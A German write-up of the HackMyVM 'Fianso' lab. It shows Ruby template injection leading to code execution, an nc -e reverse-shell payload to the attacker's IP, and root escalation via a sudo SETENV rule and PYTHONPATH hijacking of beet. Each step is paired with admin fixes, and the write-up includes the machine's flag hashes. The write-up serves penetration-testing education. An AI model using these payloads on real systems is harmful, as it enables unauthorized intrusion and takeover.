Fianso - HackMyVM - Hard - Bericht

Web Exploitation (SSTI)

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        8000
+ Start Time:         2023-04-10 23:58:41 (GMT2)
---------------------------------------------------------------------------
+ Server: WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07)
+ /W49wNC9d.PWD: Uncommon header 'x-cascade' found, with contents: pass. <-- Interessanter Header -->
+ /W49wNC9d.pl|dir: The X-Content-Type-Options header is not set. [...]
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
[...]

**Analyse:** Das Tool Nikto wird verwendet, um den Webserver auf Port 8000 auf bekannte Schwachstellen und interessante Konfigurationen zu scannen.

**Bewertung:** Nikto bestätigt den WEBrick/Ruby-Server. Es findet fehlende Sicherheitsheader (niedrige Priorität). Interessanter ist der Fund eines "uncommon header" `x-cascade` mit dem Inhalt `pass` bei der Abfrage obskurer Pfade (`/W49wNC9d.PWD` etc.). Die Bedeutung dieses Headers ist unklar, könnte aber ein Hinweis sein. Es werden keine weit verbreiteten, kritischen Schwachstellen gemeldet.

**Empfehlung (Pentester):** Notieren Sie den `x-cascade: pass`-Header, falls spätere Schritte darauf hindeuten. Fokussieren Sie sich auf die manuelle Untersuchung der Anwendungsoberfläche und das Testen auf häufige Web-Schwachstellen (Injection, SSTI, etc.).
**Empfehlung (Admin):** Entfernen Sie unnötige oder informative Header. Implementieren Sie Standard-Sicherheitsheader.

http://192.168.2.126:8000/

Eingabe: alert("ben")
Antwort: popup [ben]

Eingabe: #{7*7}
Antwort: Hello 49 ! <-- SSTI bestätigt! -->

**Analyse:** Manuelle Interaktion mit der Webanwendung auf Port 8000: 1. **XSS-Test:** Ein einfacher XSS-Payload (`alert("ben")`) wird eingegeben. Die Antwort ist ein JavaScript-Popup, was eine reflektierte XSS-Schwachstelle bestätigt. 2. **SSTI-Test:** Der Payload `#{7*7}` wird eingegeben. Die Antwort ist "Hello 49 !", wobei `49` das Ergebnis der Berechnung `7*7` ist.

**Bewertung:** Die XSS-Schwachstelle ist vorhanden, aber für den Serverzugriff meist weniger nützlich. Die **erfolgreiche Ausführung von `#{7*7}` zu `49` ist ein eindeutiger Beweis für eine Server-Side Template Injection (SSTI)**. Die Syntax `#{...}` ist typisch für Ruby-Template-Engines wie ERB (Embedded Ruby). Dies ist eine kritische Schwachstelle, die sehr wahrscheinlich zu Remote Code Execution (RCE) führt.

**Empfehlung (Pentester):** Konzentrieren Sie sich voll auf die SSTI-Schwachstelle. Recherchieren Sie SSTI-Payloads für Ruby/ERB, um Betriebssystembefehle auszuführen. Ziel ist das Erlangen einer Reverse Shell.
**Empfehlung (Admin):** **Beheben Sie die SSTI-Schwachstelle sofort!** Benutzereingaben dürfen niemals direkt und un-escaped in Templates eingefügt werden. Verwenden Sie sichere Methoden zur Template-Erstellung und sanitisieren Sie alle Eingaben.

Proof of Concept (Ruby SSTI RCE)

**Kurzbeschreibung:** Die auf Port 8000 laufende Ruby/WEBrick-Anwendung ist anfällig für Server-Side Template Injection (SSTI). Benutzereingaben werden unsicher in einem Ruby-Template (vermutlich ERB) ausgewertet. Ein Angreifer kann speziell gestaltete Eingaben mit der Syntax `#{...}` senden, um beliebigen Ruby-Code auf dem Server auszuführen. Durch Einschleusen von Code, der Betriebssystembefehle ausführt (z.B. über `system()` oder Backticks `` ` ``), kann Remote Code Execution (RCE) im Kontext des Webserver-Benutzers (`sofiane`) erreicht werden.

**Voraussetzungen:** Netzwerkzugriff auf Port 8000.

**Schritt-für-Schritt-Anleitung:**

1. Identifizieren der SSTI durch Senden einfacher Ausdrücke wie `#{7*7}`.
2. Konstruieren eines RCE-Payloads für Ruby/ERB, der eine Reverse Shell startet. Beispiel: `#{system('nc -e /bin/bash [Angreifer-IP] [Listener-Port]')}` oder `` `nc -e /bin/bash [Angreifer-IP] [Listener-Port]` `` (Backticks).
3. Starten eines Netcat-Listeners auf der Angreifer-Maschine (`nc -lvnp [Listener-Port]`).
4. Senden des Payloads an die verwundbare Eingabestelle der Webanwendung.

**Erwartetes Ergebnis:** Der Server führt den eingeschleusten Befehl aus und verbindet sich zurück zum Listener des Angreifers, wodurch eine Shell als Webserver-Benutzer (`sofiane`) erlangt wird.

**Beweismittel:** Der erfolgreiche Test mit `#{7*7}` und der nachfolgende RCE-Payload.

**Risikobewertung:** Kritisch. SSTI führt direkt zu RCE und ermöglicht die Kompromittierung des Webserver-Prozesses.

**Empfehlungen:** Benutzereingaben vor der Verwendung in Templates validieren und escapen. Unsichere Funktionen zur Code-Ausführung vermeiden.

listening on [any] 9001 ...

-------------------------------------------------------------------------

http://192.168.2.126:8000/

Eingabe: #{system('nc -e /bin/bash 192.168.2.114 9001')} <-- RCE Payload -->

-------------------------------------------------------------------------

**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet. Anschließend wird der SSTI-Payload `#{system('nc -e /bin/bash 192.168.2.114 9001')}` vorbereitet, der die Ruby `system()`-Funktion nutzt, um eine `nc -e` Reverse Shell zur Angreifer-IP `192.168.2.114` zu starten.

**Bewertung:** Korrekte Vorbereitung zum Ausnutzen der SSTI für RCE.

**Empfehlung (Pentester):** Senden Sie den Payload an die Anwendung.
**Empfehlung (Admin):** SSTI beheben.

Initial Access

listening on [any] 9001 ...
connect to [192.168.2.114] from (UNKNOWN) [192.168.2.126] 59932 <-- Verbindung erhalten! -->

**Analyse:** Der Netcat-Listener empfängt die eingehende Verbindung vom Zielsystem, nachdem der SSTI-Payload gesendet wurde.

**Bewertung:** Die SSTI-RCE war erfolgreich! Initialer Zugriff wurde erlangt. Der nächste Schritt zeigt, dass die Shell als Benutzer `sofiane` läuft.

**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** SSTI beheben, Incident Response.

                                               Stabilisiere Reverse Shell
=

export TERM=xterm

zsh: suspended  nc -nlvp 9001

[1]  + continued  nc -nlvp 9001
                               reset

**Analyse:** Die erhaltene Shell wird mit der Standardmethode (Python PTY, `stty raw -echo`, `fg`) stabilisiert. Der Prompt zeigt den Benutzernamen `sofiane`.

**Bewertung:** Eine stabile, interaktive Shell als Benutzer `sofiane` wurde erfolgreich etabliert.

**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration als `sofiane` (User-Flag lesen, `sudo -l`, etc.).
**Empfehlung (Admin):** Keine.

dd61014e5d119683f9fc798439cd3916

**Analyse:** Die Datei `user.txt` im Home-Verzeichnis von `sofiane` wird ausgelesen.

**Bewertung:** User-Flag erfolgreich erhalten.

Privilege Escalation (sofiane -> root)

**Analyse:** Als `sofiane` wird nach Wegen zur Root-Eskalation gesucht, hauptsächlich mittels `sudo -l`.

total 36
drwxr-xr-x 4 sofiane sofiane 4096 Dec 24 17:14 .
drwxr-xr-x 3 root    root    4096 Dec 13 22:00 ..
lrwxrwxrwx 1 root    root       9 Dec 13 22:03 .bash_history -> /dev/null <-- Keine History -->
[...]
-rw------- 1 sofiane sofiane   52 Dec 24 11:57 .Xauthority

=

fianso10MIT-MAGIC-COOKIE-1�S!��e%즱au5�Z
                      
sofiane@fianso:~$ sudo -l
                      
Matching Defaults entries for sofiane on fianso:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sofiane may run the following commands on fianso:
    (ALL : ALL) NOPASSWD: /bin/bash /opt/harness
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/beet <-- Gefährliche Regel! -->
                 

**Analyse:** 1. `ls -la`: Zeigt u.a., dass die Bash-History deaktiviert ist. 2. `cat .Xauthority`: Versuch, die Xauthority-Datei zu lesen (meist irrelevant). 3. `sudo -l`: Überprüft die Sudo-Berechtigungen für `sofiane`.

**Bewertung:** `sudo -l` enthüllt zwei wichtige Regeln: * `NOPASSWD: /bin/bash /opt/harness`: Erlaubt die Ausführung des Skripts `/opt/harness` als Root ohne Passwort. * `SETENV: NOPASSWD: /usr/bin/beet`: Erlaubt die Ausführung von `/usr/bin/beet` (ein Musik-Manager, oft Python-basiert) als Root ohne Passwort UND **erlaubt das Setzen von Umgebungsvariablen (`SETENV:`)**. Dies ist eine **extrem gefährliche Konfiguration**.

**Empfehlung (Pentester):** Die `SETENV`-Regel für `/usr/bin/beet` ist der wahrscheinlichste und einfachste Eskalationspfad. Nutzen Sie `PYTHONPATH`-Hijacking: 1. Erstellen Sie ein Python-Skript in `/tmp` (z.B. `/tmp/beetsplug/web.py` oder ein anderer Modulname, den `beet` importiert), das eine Root-Shell spawnt (`import os; os.system('/bin/bash')`). 2. Führen Sie `sudo PYTHONPATH=/tmp /usr/bin/beet` aus. `beet` (als Root) wird das bösartige Modul aus `/tmp` laden und ausführen. Der `/opt/harness`-Pfad ist sekundär, könnte aber auch untersucht werden.
**Empfehlung (Admin):** **Entfernen Sie die `SETENV`-Option aus der Sudo-Regel für `/usr/bin/beet` sofort!** Überprüfen Sie die Notwendigkeit und Sicherheit beider Sudo-Regeln.

Authentication to manage music collection.


Date: 04/11/23
User: root
Host: fianso

Master's password: cccc
Wrong password

#

**Analyse:** Das Skript `/opt/harness` wird über die erste Sudo-Regel ausgeführt. Es fragt nach einem "Master's password".

**Bewertung:** Bestätigt die Funktion des Skripts. Ohne das korrekte Passwort kann es nicht direkt zur Eskalation genutzt werden. Der Versuch mit "cccc" schlägt fehl.

**Empfehlung (Pentester):** Fokussieren Sie sich auf die `beet`-Regel.
**Empfehlung (Admin):** Sichern oder entfernen Sie `/opt/harness`.

-rwx------ 1 root root 43 Apr 11 00:09 config.conf

**Analyse:** Versuch, die Datei `config.conf` im `/opt`-Verzeichnis zu untersuchen.

**Bewertung:** Die Datei existiert, gehört Root und ist für `sofiane` nicht lesbar. Sie enthält wahrscheinlich das "Master's password" für `/opt/harness`.

**Empfehlung (Pentester):** Der `/opt/harness`-Pfad ist blockiert. Nutzen Sie die `beet`-Regel.
**Empfehlung (Admin):** Korrekte Berechtigungen, aber das Skript `/opt/harness` selbst könnte unsicher sein.

*(Hinweis: Die folgenden Schritte im Log bezüglich Wordlist-Erstellung und Brute-Force gegen `/opt/harness` scheinen fehlgeleitet oder eine Sackgasse zu sein, da die `beet`-Regel bereits gefunden wurde und einen viel direkteren Weg bietet. Diese Schritte werden daher übersprungen.)*

                                                          Privilege Escalation

[...]
User sofiane may run the following commands on fianso:
    (ALL : ALL) NOPASSWD: /bin/bash /opt/harness
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/beet

=

**Analyse:** Erneute Anzeige der Sudo-Regeln, wobei die `beet`-Regel mit `SETENV` im Fokus steht.

**Bewertung:** Bestätigt den Eskalationsvektor über `beet` und `PYTHONPATH`.

**Analyse:** 1. `nano re.py`: Eine Python-Datei wird in `/tmp` erstellt (der genaue Name und Inhalt, z.B. ein Modul, das `beet` importiert wie `beetsplug/web.py` oder ähnlich, und den Code `import os; os.system('/bin/bash')` enthält, wird hier nicht gezeigt, aber impliziert). 2. `sudo PYTHONPATH=/tmp /usr/bin/beet`: Der entscheidende Befehl. Die Umgebungsvariable `PYTHONPATH` wird auf `/tmp` gesetzt. Dann wird `/usr/bin/beet` über `sudo` (als Root und ohne Passwort) ausgeführt. Aufgrund von `PYTHONPATH=/tmp` sucht Python zuerst in `/tmp` nach Modulen. Es findet und lädt das bösartige Skript (`re.py` oder der korrekte Modulname), dessen Code (`os.system('/bin/bash')`) dann mit Root-Rechten ausgeführt wird.

**Bewertung:** Root-Eskalation erfolgreich! Die unsichere `SETENV`-Option in der Sudo-Regel für `beet` ermöglichte `PYTHONPATH`-Hijacking und die Ausführung beliebigen Codes als Root.

**Empfehlung (Pentester):** Führen Sie `id` aus. Lesen Sie die Root-Flag.
**Empfehlung (Admin):** **Entfernen Sie `SETENV` aus der Sudo-Regel für `/usr/bin/beet`!** Auditieren Sie alle Sudo-Regeln auf `SETENV`.

129cf8d39dad02722c0b95ddca3ad73d

                                                   Privilege Escalation erfolgreich

**Analyse:** In der erhaltenen Root-Shell wird die Root-Flag aus `/root/root.txt` gelesen.

**Bewertung:** Root-Flag erfolgreich erhalten.